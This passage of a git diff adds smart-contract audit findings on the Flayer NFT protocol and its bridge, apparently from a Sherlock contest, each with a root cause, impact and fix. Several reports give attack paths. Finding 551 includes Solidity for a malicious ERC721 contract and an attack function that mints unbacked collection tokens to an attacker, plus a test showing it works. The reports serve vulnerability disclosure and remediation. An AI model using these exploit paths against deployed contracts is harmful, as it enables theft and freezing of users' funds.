+ uint timePeriod = 1 days;
+
+ // Calculate the compounded factor using the original function
+ uint resultOriginal = taxCalculator.calculateCompoundedFactor(
+ previousCompoundedFactor,
+ utilizationRate,
+ timePeriod
+ );
+
+ // Calculate the expected compounded factor with corrected order of operations
+ uint interestRate = taxCalculator.calculateProtectedInterest(
+ utilizationRate
+ );
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+ uint expectedCompoundedFactor = (previousCompoundedFactor *
+ (1e18 + ((perSecondRate * timePeriod) / 1000))) / 1e18;
+
+ // The assertion fails because the original calculation is incorrect
+ assertEq(resultOriginal, expectedCompoundedFactor, "Erro");
+}
+```
+
+### Mitigation
+
+The following code snippets demonstrate the vulnerability and the recommended corrections:
+
+**`src/contracts/TaxCalculator.sol`**
+
+```solidity
+// Line 69: Incorrect
+interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+
+// Line 69: Corrected
+interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8) * 100) / (1 ether - UTILIZATION_KINK)) + (8 * 100);
+
+// Line 90: Incorrect
+compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+
+// Line 90: Corrected
+compoundedFactor_ = _previousCompoundedFactor * (1e18 + ((perSecondRate * _timePeriod) / 1000)) / 1e18;
+
+// Lines 117-118: Incorrect
+uint compoundedFactor = _currentCheckpoint.compoundedFactor * 1e18 / _initialCheckpoint.compoundedFactor;
+compoundAmount_ = _principle * compoundedFactor / 1e18;
+
+// Lines 117-118: Corrected
+uint compoundedFactor = (_currentCheckpoint.compoundedFactor * 1e18) / _initialCheckpoint.compoundedFactor;
+compoundAmount_ = (_principle * compoundedFactor) / 1e18;
+```
+
+**`src/contracts/lib/LinearRangeCurve.sol`**
+
+```solidity
+// Line 60: Incorrect
+inputValue = numItems * (spotPrice * (end - block.timestamp) / (end - start));
+
+// Line 60: Corrected
+inputValue = (numItems * spotPrice * (end - block.timestamp)) / (end - start);
+```
+
+**`src/contracts/implementation/BaseImplementation.sol`**
+
+```solidity
+// Line 199: Incorrect
+beneficiaryFee_ = _amount * beneficiaryRoyalty / ONE_HUNDRED_PERCENT;
+
+// Line 199: Corrected
+beneficiaryFee_ = (_amount * beneficiaryRoyalty) / ONE_HUNDRED_PERCENT;
+```
+
+**`src/contracts/utils/CollectionShutdown.sol`**
+
+```solidity
+// Line 150, 245: Incorrect
+params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+
+// Line 150, 245: Corrected
+params.quorumVotes = uint88((totalSupply * SHUTDOWN_QUORUM_PERCENT) / ONE_HUNDRED_PERCENT);
+uint newQuorum = (params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT) / ONE_HUNDRED_PERCENT;
+
+// Line 310, 343: Incorrect
+uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+
+// Line 310, 343: Corrected
+uint amount = (params.availableClaim * claimableVotes * SHUTDOWN_QUORUM_PERCENT) / (params.quorumVotes * ONE_HUNDRED_PERCENT);
+uint amount = (params.availableClaim * userVotes * SHUTDOWN_QUORUM_PERCENT) / (params.quorumVotes * ONE_HUNDRED_PERCENT);
+```
+
+**`src/contracts/ProtectedListings.sol`**
+
+```solidity
+// Line 273: Incorrect
+utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+
+// Line 273: Corrected
+utilizationRate_ = (listingsOfType_ * 1e36 * (10 ** collectionToken.denomination())) / totalSupply;
+```
+
+**`src/contracts/implementation/UniswapImplementation.sol`**
+
+```solidity
+// Line 607: Incorrect
+uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
+
+// Line 607: Corrected
+uint feeAmount = (uint128(swapAmount) * ammFee) / 100_000;
+```
+
+**`src/contracts/Listings.sol`**
+
+```solidity
+// Line 933: Incorrect
+refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+
+// Line 933: Corrected
+refund_ = ((_listing.duration - (block.timestamp - _listing.created)) * taxPaid) / _listing.duration;
+```
\ No newline at end of file
diff --git a/524.md b/524.md
new file mode 100644
index 0000000..f8f76cf
--- /dev/null
+++ b/524.md
@@ -0,0 +1,69 @@
+Spare Infrared Gerbil
+
+High
+
+# malicious user can brick claiming funds for a collection
+
+### Summary
+
+The `CollectionShutdown::claim(...)` can be bricked by a user preventing users from claiming their funds.
+
+This attack is cheaper for NFTs that have low floor prices. And it could as well be performed by a well funded user
+
+### Root Cause
+
+When a user calls [`claim(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L295), a call is made to the [`collectionLiquidationComplete(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L459-L464) function to check if the sweeper pool still owns any of its pool tokens. If it does, then the `claim function revert
+
+
+```solidity
+File: CollectionShutdown.sol
+285: function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+SNIP. ..........
+293:
+294: // Ensure that all NFTs have sold from our Sudoswap pool
+295: @> if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+............
+
+
+445: function collectionLiquidationComplete(address _collection) public view returns (bool) {
+SNIP .............
+459: for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+460: // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+461: @> if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+462: @> return false;
+463: }
+464: }
+465:
+466: return true;
+467: }
+
+```
+
+The problem is that a user who purchased on or more of the `sweeperPoolTokenIds` can send the token back to the `sweeperPool` so that the claim function reverts when `collectionLiquidationComplete(...)` is called, thus causing funds to be stuck in the contract.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice purchased a `sweeperPoolTokenId`
+- All other NFTs have been sold from the pool
+- Alice sends her purchased token back to the pool
+- user calls `claim(...)` but the function reverts
+
+### Impact
+
+Users are unable to claim their funds and as such the funds are stuck in the `CollectionShutdown` contract without a way to withdraw, leading to a loss of funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider implementing a mechanism to rescue tokens directly from the `pairFactory`
\ No newline at end of file
diff --git a/525.md b/525.md
new file mode 100644
index 0000000..2a961d3
--- /dev/null
+++ b/525.md
@@ -0,0 +1,60 @@
+Happy Wintergreen Kookaburra
+
+Medium
+
+# The `sunsetCollection` allows the Reuse of Checkpoints for Re-Created Collections After Shutdown as it does not delete them
+
+## Summary
+When a collection is re-created as it is the same address as a previously shut-down collection, the system retains and uses the old checkpoint data. This behavior defeats the intended purpose of the shutdown, which is to reset or remove all associated data for the collection and start anew
+## Vulnerability Detail
+When a collection is shut down, the system is expected to remove or reset all associated data, including the checkpoint history. However, if a new collection is created with the same address as a previously shut-down collection, the old checkpoint data is retained. This results in the newly created collection inheriting Previous checkpoint information and comparing it, instead of starting with fresh state data, the collection's compounded factor remain tied to the old checkpoints. This compromises the intended separation between the old and new collections
+
+The absence of logic in the `sunsetCollection` function to delete or reset checkpoint data means that even though the collection is "shut down," its historical performance data remains, leading to issues.
+## Impact
+Users who create a new collection will be subjected to higher costs because the old checkpoint data may reflect a much higher compounded factor. This can make participating in Flayer unattractive as they will be demotivated to re-create the collection
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L409-L427
+
+Snippet
+
+```solidity
+ function sunsetCollection(address _collection) public collectionExists(_collection) {
+ // Ensure that only our {CollectionShutdown} contract can call this
+ if (msg.sender != address(collectionShutdown)) revert InvalidCaller();
+
+ // cache
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+
+ // Burn our held tokens to remove any contract bloat
+ collectionToken_.burn(collectionToken_.balanceOf(address(this)));
+
+ // Notify our stalkers that the collection has been sunset
+ emit CollectionSunset(_collection, address(collectionToken_), msg.sender);
+
+ // Delete our underlying token, then no deposits or actions can be made
+ delete _collectionToken[_collection];
+
+ // Remove our `collectionInitialized` flag
+ delete collectionInitialized[_collection];
+}
+
+```
+
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Consider Deleting the CheckPoint inside the `sunsetCollection` when it is called
+```diff
+ // Delete our underlying token, then no deposits or actions can be made
+ delete _collectionToken[_collection];
+
+ // Remove our `collectionInitialized` flag
+ delete collectionInitialized[_collection];
+
++ // Remove our Checkpoint data
++ delete IProtectedListings.collectionCheckpoints[_collection]
+```
diff --git a/538.md b/538.md
new file mode 100644
index 0000000..198427a
--- /dev/null
+++ b/538.md
@@ -0,0 +1,49 @@
+Little Daffodil Ant
+
+High
+
+# Absence of `unchecked` block may lead to overflow in the `InfernalRiftBelow` contract
+
+## Summary
+Absence of `unchecked` block may lead to overflow in the `InfernalRiftBelow` contract, leading to DoS in the bridging mechanism
+## Vulnerability Detail
+When sending a message to L2, the `InfernalRiftBelow::thresholdCross()` is called. There we can find the following block of code:
+```javascript
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+```
+This is because when a message is send from L1 to L2 and `msg.sender` is a contract, this offset is added to the L1 address of the sender, to compute its L2 address. The problem here is that both addresses are casted to `uint160` and in some cases the `uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)` operation may overflow leading to DoS.
+## Proof of code
+Lets act for a second that the `INFERNAL_RIFT_ABOVE` address is `0xf000000000000000000000000000000000000000`. Then the test will look like this:
+```javascript
+function test_KiroBrejka() public returns (uint160) {
+ return (uint160(0xf000000000000000000000000000000000000000) +
+ uint160(0x1111000000000000000000000000000000001111));
+ }
+```
+And the output looks like this
+![image](https://github.com/user-attachments/assets/3103690c-4f3a-4424-9b36-c6556420e3ac)
+
+## Impact
+If the `INFERNAL_RIFT_ABOVE` is such address that leads to overflow when added to the additional offset (0x1111000000000000000000000000000000001111), Then there will a be a total DoS of the bridging process.
+
+## Code Snipped
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L135-L140
+## Tool used
+
+Manual Review
+Foundry test setup
+
+## Recommendation
+Wrap the code into an `unchecked` block like this:
+```javascript
+ unchecked {
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+}
+```
\ No newline at end of file
diff --git a/539.md b/539.md
new file mode 100644
index 0000000..534149f
--- /dev/null
+++ b/539.md
@@ -0,0 +1,95 @@
+Spare Infrared Gerbil
+
+High
+
+# Broken assumption creates path for arbitrage
+
+### Summary
+
+Users can unfairly arbitrage grail tokens with their floor NFTs in the `Locker` contract this is due to broken assumption that
+> assuming that the token being redeemed is of floor value
+
+### Root Cause
+
+The [`swap(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241-L255) allows user to swap tokens deposited into the `Locker` and [`redeem(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209-L230) functions allow users to burn ERC20 and receive the corresponding token of the collection..
+
+The problem is that the protocol wrongly assumes that the token the user is getting out from both of these functions _is of floor value_ **but the functions do not implement a way validate this assumption** and as such, a malicious user can exploit this by
+ - depositing their floor asset and redeeming it for a grail (more rare and valuable) asset
+ - swaping a their floor asset for a grail asset
+
+```solidity
+File: Locker.sol
+209: function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+210: uint tokenIdsLength = _tokenIds.length; // @audit 21a) arbitrage between deposit and redeem (user depeosit floor items and redeem grail items because the contract does not place a Tab on which tokens a user deposited)
+211: if (tokenIdsLength == 0) revert NoTokenIds(); // @audit SUGG: implement a check to ensure users can withdraw only the tokenIds[] they deposited and this means placing a tab on the tokens a user deposited
+212:
+213: // Burn the ERC20 tokens from the caller
+214: ICollectionToken collectionToken_ = _collectionToken[_collection];
+215: collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+216:
+217: // Define our collection token outside the loop
+218: IERC721 collection = IERC721(_collection);
+219:
+220: // Loop through the tokenIds and redeem them
+221: for (uint i; i < tokenIdsLength; ++i) {
+222: // Ensure that the token requested is not a listing
+223: if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+224:
+225: // Transfer the collection token to the caller
+226: collection.transferFrom(address(this), _recipient, _tokenIds[i]); // @audit 22) use of transferfrom could lead to loss of nFT because there is noncheck for whether the recipient can receive NFTs
+227: }
+228:
+229: emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+230: }
+
+
+241: function swap(address _collection, uint _tokenIdIn, uint _tokenIdOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+242: // Ensure that the user is not trying to exchange for same token (that's just weird)
+243: if (_tokenIdIn == _tokenIdOut) revert CannotSwapSameToken();
+244:
+245: // Ensure that the token requested is not a listing
+246: if (isListing(_collection, _tokenIdOut)) revert TokenIsListing(_tokenIdOut);
+247:
+248: // Transfer the users token into the contract
+249: IERC721(_collection).transferFrom(msg.sender, address(this), _tokenIdIn);
+250:
+251: // Transfer the collection token from the caller.
+252: IERC721(_collection).transferFrom(address(this), msg.sender, _tokenIdOut);
+253:
+254: emit TokenSwap(_collection, _tokenIdIn, _tokenIdOut, msg.sender);
+255: }
+
+```
+
+Of course both functions check to make sure that the token is not currently listed as shown on L223 and L246, but there is a possibility that the the redemption could happen between the time when the owner of a grail listing deposits and the time when he lists his token.
+
+
+Also worthy of mention is, if the token is not listed, then then we cannot safely assume that the token out is of floor value going by the protocol's pricing model.
+
+### Internal pre-conditions
+
+Protocol assumption that _the token being redeemed is of floor value_ is not properly implemented
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice and Bob both own tokens in collectionX
+- Alice token is grail (more rare and expensive by open market valuation)
+- Bob's token is (more common and bery cheap by open market valuation)
+- Alice deposits her token into the locker
+- Bob swaps his token for alice token
+
+### Impact
+
+Users can perform unfair arbitrage or worse yet steal tokens form the locker
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider implementing a better algorithm to ensure that token out of both functions is of actual floor value
\ No newline at end of file
diff --git a/550.md b/550.md
new file mode 100644
index 0000000..f974c4c
--- /dev/null
+++ b/550.md
@@ -0,0 +1,52 @@
+Raspy Raspberry Tapir
+
+High
+
+# `Listings::_isLiquidation` flag is not cleaned up; will lead to loss of tax refund for users
+
+### Summary
+
+[Listings::_isLiquidation](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L75-L76) is intended to track listings that enter `Listings` contract from `ProtectedListings` contract when a protected listing is liquidated: such a listing is then exempt from the tax refund, as no tax was paid upon the listing creation.
+
+Unfortunately the flag is not properly cleaned up; in particular:
+
+- [relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) relists the liquidation listing as another listing
+- [reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) creates a protected listing from the liquidation listing
+- [cancelListings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414-L470) doesn't clean the flag, and is executed whenever the listing type is not dutch.
+
+The combination of `relist` call with the subsequent `cancelListings` call is particularly interesting, because:
+
+- As `relist` allows to change the listing type to non-dutch
+- The subsequent call of `cancelListings` won't clean the flag, as the listing is now of a non-dutch type
+- As a result the flag will be stuck permanently for that token, and will reapply again whenever the token is listed again.
+
+A similar effect happens via `reserve`. The net effect is that due to the mechanism of `_isLiquidation` flag, the users possessing the listing with that flag set won't get the tax refund they are eligible for.
+
+
+### Root Cause
+
+Functions [relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672), [reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759), and [cancelListings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414-L470) don't clean up the `_isLiquidation` flag.
+
+### Internal pre-conditions
+
+A liquidation listing needs to be relisted or reserved.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+No attack is necessary
+
+### Impact
+
+Direct loss of funds: if a user happens to possess a listing for which `_isLiquidation` flag was not cleaned up, they won't get the tax refund they are eligible for whenever they cancel or fill the listing.
+
+### PoC
+
+Not required.
+
+### Mitigation
+
+Clean up `_isLiquidation` flag in all functions which delete a listing, or modify the listing type.
\ No newline at end of file
diff --git a/551.md b/551.md
new file mode 100644
index 0000000..99271a4
--- /dev/null
+++ b/551.md
@@ -0,0 +1,98 @@
+Sour Amethyst Cricket
+
+Medium
+
+# Fraudulent collections can mint infinite collection tokens after they are created, but before they are initialized in `Locker.sol`
+
+### Summary
+
+A collection contract implementing the right logic can mint an infinite amount of collection tokens before it is initialized through `Locker.sol`'s `deposit()` function while maintaining the appearance and functionality of a legitimate NFT contract.
+
+### Root Cause
+
+`Locker.sol`'s [`deposit()` function](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144) calls `transferFrom()` on an address passed to the function. A contract at this address can call `createCollection()` on the Locker, pass its own address as the collection address, circumvent the `supportsInterface()` check, and establish itself as an existing but uninitialized collection. Then, it can bypass the `collectionExists()` check in `deposit()`, logically circumvent the `transferFrom()` callback, and receive as many collection tokens are specified according to `_tokenIds.length`. The logic required does not impact the collection's compatibility with the protocol or tradability, so it may appear completely legitimate.
+
+### External Pre-Conditions
+Any quantity of the Locker's native token is swapped into the LP
+
+### Attack Path
+
+BORED_APES, our malicious collection, is a copy of the ERC721 contract with a few modifications:
+
+### 1. The `transferFrom()` function:
+```solidity
+function transferFrom(address from, address to, uint256 tokenId) public virtual override returns (bool) {
+
+ if (from == address(this)) {
+ return true;
+ }
+
+ require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
+
+ _transfer(from, to, tokenId);
+ }
+```
+This function is modified to return `true` if transfers are being made out of the contract. This way, when `address(AttackLocker)` is passed to `deposit()`, all `transferFrom()` calls made on it will simply return `true` without doing anything. This part of the function is skipped, and now the function will mint to an address of our choosing as many `BORED_APES` collection tokens as we specify in `uint[] calldata tokenIds`.
+
+### 2. Attack Logic:
+```solidity
+ ILocker locker;
+
+ /**
+ * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
+ */
+ constructor(string memory name_, string memory symbol_, address _locker) {
+ _name = name_;
+ _symbol = symbol_;
+ locker = ILocker(_locker);
+ }
+
+ function attack(uint160 price, address attacker) external {
+ uint[] memory tokenIdsForDeposit = new uint[](1000);
+ uint[] memory tokenIdsForInit = new uint[](10);
+
+ locker.createCollection(address(this), "BORED_APES (REAL)", "APE", 1);
+ locker.deposit(address(this), tokenIdsForDeposit, address(attacker);
+ locker.initializeCollection(address(this), 1 ether, tokenIdsForInit, 100 ether, price);
+
+ for (uint i; i < 10; ++i) {
+ _mint(address(locker), i);
+ }
+
+ }
+```
+1. The address of the Locker is given a simple interface, passed into the constructor, and initialized.
+2. `createCollection()` is called, passing the contract's address.
+3. `attack()` is called from an external address.
+4. `deposit()` is called on the locker, which will mint as many BORED_APES collection tokens as `tokenIdsForDeposit.length` to an address of our choosing (in this case, `attacker`)
+5. The contract is given a supply of the Locker's native tokens (WETH in the test case) and allowed to spend them, so that a WETH/CollectionToken LP may be established.
+6. The collection is initialized, transferring the ETH and minting 10 (minimum collection size) BORED_APES collection tokens to the LP.
+7. Since the collection cannot transfer tokens out of itself, we mint 10 BORED_APES to the locker.
+
+Now that we have 10 BORED_APES in the Locker and 100 times their worth in collection tokens all to ourselves, any additional WETH deposited to the LP is ours at no cost.
+
+
+
+### Impact
+
+Attackers can establish collections that appear legitimate, but their entire market cap is effectively controlled by the attacker.
+
+### PoC
+
+I provided all the relevant logical snippets of my PoC above. The entire contract is several hundred lines, so it's a little long for this format. I would be happy to provide any clarifications or post it somewhere if needed.
+
+The test (written in `Locker.t.sol`):
+```solidity
+function test_AttackLocker(uint8 _tokens) public {
+
+ attackLocker = new AttackLocker("BORED_APES (REAL)", "APE", address(locker));
+ _dealNativeToken(address(attackLocker), 1 ether);
+ _approveNativeToken(address(attackLocker), address(locker), type(uint).max);
+ attackLocker.attack(SQRT_PRICE_1_2, address(this));
+
+ // LP has 100 collection tokens, we have 10000. Locker has 10 BORED_APES
+ assertEq(locker.collectionToken(address(attackLocker)).balanceOf(address(this)), 10000 ether);
+ assertApproxEqAbs(locker.collectionToken(address(attackLocker)).balanceOf(address(uniswapImplementation)), 100 ether, 3 ether);
+ assertEq(attackLocker.balanceOf(address(locker)), 10);
+ }
+```
\ No newline at end of file
diff --git a/553.md b/553.md
new file mode 100644
index 0000000..871e4f2
--- /dev/null
+++ b/553.md
@@ -0,0 +1,128 @@
+Fancy Emerald Lark
+
+Medium
+
+# Premanently locking the nfts on Rift contarcts in case send messages reverts
+
+
+## Summary
+Impact : high, Loss of funds during cross chain transfer of funds.
+Likelihood : low to medium
+
+## Vulnerability Detail
+The corss domain messengers used in both L1 an L2 to send the message to the destination chain says `Note that if the call always reverts, then the message will be unrelayable, and any ETH sent will be permanently locked.`
+
+We don't move any ETH, but messages are sent between l1 to l2 (to claim royalties, lock l2 tokens and release the locked l1 tokens). There is no issue in royalty claiming flow if the destination tx fails, you can retry again.
+
+
+But, lets take a flow where 5 BAYC are locked in `InfernalRiftBelow.returnFromThreshold` and it calls `L2_CROSS_DOMAIN_MESSENGER.sendMessage` to release the locked BAYC on l1's rift above contract. If the `InfernalRiftAbove.returnFromTheThreshold` fails, then the tokens locked in L2 rift below are locked there permanently, and the unlocking of the l1 tokens also revert all the time, hence its a loss of funds.
+
+The `InfernalRiftAbove.returnFromTheThreshold` can revert due to many reasons,
+ - Gas limit was not enough this time, user error input, or the erc721/er1155 collection did update to the contract or it was a particualar transaction that required more than the normal condition. (happens if many 0 slots are charged to non zero.) Even if you rule it as user error, there are flows where user can't be in control of passing the sufficient gas limit. Just the likelihood is low.
+ - `recipient` receiver didn't accept the safe callback check `on erc1155 received` call.
+ - Or the number of `idsToCross` array was huge and the gas left became 0.
+
+
+All bridge integrated protocols will have a retry/cancel message, where if the message is not hit on the destination chain, the message can be returned or canceled. In this case, if l1 unlock fails, then the user can come and cancel the message to release the locked tokens back in L2 itself. Or retry the message with new gas limit.
+
+
+https://github.com/ethereum-optimism/optimism/blob/8341f340d8a516509605fb98af1818772f358ccd/packages/contracts-bedrock/src/universal/CrossDomainMessenger.sol#L169-L176
+
+```solidity
+ /**
+ * @notice Sends a message to some target address on the other chain. Note that if the call
+ * always reverts, then the message will be unrelayable, and any ETH sent will be
+ * permanently locked. The same will occur if the target on the other chain is
+ * considered unsafe (see the _isUnsafeTarget() function).
+ *
+ ---- SNIP ----
+ */
+ function sendMessage( address _target, bytes calldata _message, uint32 _minGasLimit) external payable {
+ _sendMessage(
+ ---- SNIP ----
+
+ );
+ ---- SNIP ----
+
+ }
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L197-L204
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L230-L235
+
+```solidity
+InfernalRiftBelow.sol
+
+259: function returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams memory params) external {
+ ---- SNIP ----
+266: // Iterate over our collections
+267: for (uint i; i < numCollections; ++i) {
+ ---- SNIP ----
+272: for (uint j; j < numIds; ++j) {
+273: amountToCross = params.amountsToCross[i][j];
+274: if (amountToCross == 0) {
+275: IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+276: } else {
+277: IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
+278: }
+279: }
+280:
+ ---- SNIP ----
+287: }
+289: // Send our message to {InfernalRiftAbove}
+290: L2_CROSS_DOMAIN_MESSENGER.sendMessage(
+291: INFERNAL_RIFT_ABOVE,
+292: abi.encodeCall(
+293: >>> IInfernalRiftAbove.returnFromTheThreshold,
+294: (l1CollectionAddresses, params.idsToCross, params.amountsToCross, params.recipient)
+295: ),
+296: uint32(params.gasLimit)
+297: );
+ ---- SNIP ----
+300: }
+
+
+
+InfernalRiftAbove.sol
+
+220: function returnFromTheThreshold(
+221: address[] calldata collectionAddresses,
+222: uint[][] calldata idsToCross,
+223: uint[][] calldata amountsToCross,
+224: address recipient
+225: ) external {
+ ---- SNIP ----
+241: // Iterate over our collections and tokens to transfer to this contract
+242: for (uint i; i < numCollections; ++i) {
+243: numIds = idsToCross[i].length;
+244:
+245: for (uint j; j < numIds; ++j) {
+246: if (amountsToCross[i][j] == 0) {
+247: >>> IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]);
+248: } else {
+249: IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '');
+250: }
+251: }
+252: }
+ ---- SNIP ----
+255: }
+
+```
+
+
+## Impact
+If the cross-chain send messages fail, then the locked tokens in Rift contracts can never be unlocked due to the lack of retry/cancel message features. So loss of funds with a low likelhood of cross-chain message reverts, giving it medium
+
+## Code Snippet
+https://github.com/ethereum-optimism/optimism/blob/8341f340d8a516509605fb98af1818772f358ccd/packages/contracts-bedrock/src/universal/CrossDomainMessenger.sol#L169-L176
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L197-L204
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L230-L235
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a handle message function, where the user can retry or cancel his message and unlock the tokens in case his l1/l2 messages fail.
diff --git a/557.md b/557.md
new file mode 100644
index 0000000..1681eb1
--- /dev/null
+++ b/557.md
@@ -0,0 +1,80 @@
+Fancy Emerald Lark
+
+Medium
+
+# Using transfer instead of safeTransfer will DOS claiming airdrop
+
+## Summary
+Some tokens cannot be claimed as airdrop itself (e.g. USDT, BNB, OMG). Due to strict bool validation on line 141. So use solmate or OZ's safe transfer library to handle erc20 token transfers.
+
+Other parts of the protcol, uses safe transfer except at this airdrop claiming function. Token escrow's withdraw function handles it perfectly.
+
+## Vulnerability Detail
+
+`AirdropRecipient.claimAirdrop` allows users to claim their allocated airdrop. they can claim erc20, native ETH oer even ERC721 / 1155 nfts. But during ERC20 transfers, the line 141 is checking if transfer failed or succeeded based on the transfer function returned bool.
+
+The issue is some tokens doesn't implement the return bool (e.g. USDT, BNB, OMG) Some particularly pathological tokens (e.g. Tether Gold) declare a bool return, but then return false even when the transfer was successful.
+
+So, it is recommended to use safe tarnsfer instead of transfer, so that teh return is checked if return data is > 0, and if greater than 0, it will check if bool is tru or false.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L136
+
+```solidity
+AirdropRecipient.sol
+
+121: function claimAirdrop(bytes32 _merkle, Enums.ClaimType _claimType, MerkleClaim calldata _node, bytes32[] calldata _merkleProof) public {
+ ---- SNIP ----
+139: // Check the claim type we are dealing with and distribute accordingly
+140: if (_claimType == Enums.ClaimType.ERC20) {
+141: >>> if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
+142: } else if (_claimType == Enums.ClaimType.ERC721) {
+143: IERC721(_node.target).transferFrom(address(this), _node.recipient, _node.tokenId);
+144: } else if (_claimType == Enums.ClaimType.ERC1155) {
+145: IERC1155(_node.target).safeTransferFrom(address(this), _node.recipient, _node.tokenId, _node.amount, '');
+146: } else if (_claimType == Enums.ClaimType.NATIVE) {
+147: (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+148: if (!sent) revert TransferFailed();
+149: }
+152: }
+
+```
+
+
+## Impact
+Some tokens cannot be claimed as airdrop forever. Its a breaking core contract functionality. I.e to allow claiming the airdrop tokens, but not possible with current implementation on some popular tokens.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L136
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L136
+
+
+```diff
+
++ import {SafeTransferLib} from '@solady/utils/SafeTransferLib.sol';
+
+ function claimAirdrop(bytes32 _merkle, Enums.ClaimType _claimType, MerkleClaim calldata _node, bytes32[] calldata _merkleProof) public {
+ ---- SNIP ----
+
+ // Check the claim type we are dealing with and distribute accordingly
+ if (_claimType == Enums.ClaimType.ERC20) {
+- if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
